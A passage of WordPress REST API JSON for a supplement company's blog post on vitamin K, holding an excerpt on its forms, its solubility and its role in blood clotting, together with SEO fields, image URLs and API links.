K\u2082, so it is generally classified as a fat-soluble vitamin in its natural form, but some synthetic forms are water-soluble vitamins. &nbsp;Natural forms of [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3721,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Vitamin K","_seopress_titles_desc":"The most important vitamin K is vitamin K\u2081 and K\u2082, so it is generally classified as a fat-soluble vitamin in its natural form, but some synthetic forms are water-soluble vitamins.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1376,1484,1487,1485,1486],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1.webp",814,428,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-300x158.webp",300,158,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-768x404.webp",768,404,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1.webp",814,428,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1.webp",814,428,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1.webp",814,428,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1.webp",18,9,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-600x315.webp",600,315,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-K1-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>&nbsp;The classic role of vitamin K is to maintain the body&#8217;s normal coagulation function, so it is also called a coagulation vitamin. The most important vitamin K is vitamin K\u2081 and K\u2082, so it is generally classified as a fat-soluble vitamin in its natural form, but some synthetic forms are water-soluble vitamins. &nbsp;Natural forms of vitamin K include K\u2081 (phylloquinones) and K\u2082 (menaquinones), which are fat-soluble and stable to heat, but are susceptible to damage by acids, alkalis, oxidants and light (especially ultraviolet rays). Only a small amount is lost during the cooking process. However, artificially synthesized vitamins K\u2083 and&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/3718"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=3718"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/3718\/revisions"}],"predecessor-version":[{"id":6586,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/3718\/revisions\/6586"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/3721"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=3718"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=3718"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=3718"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}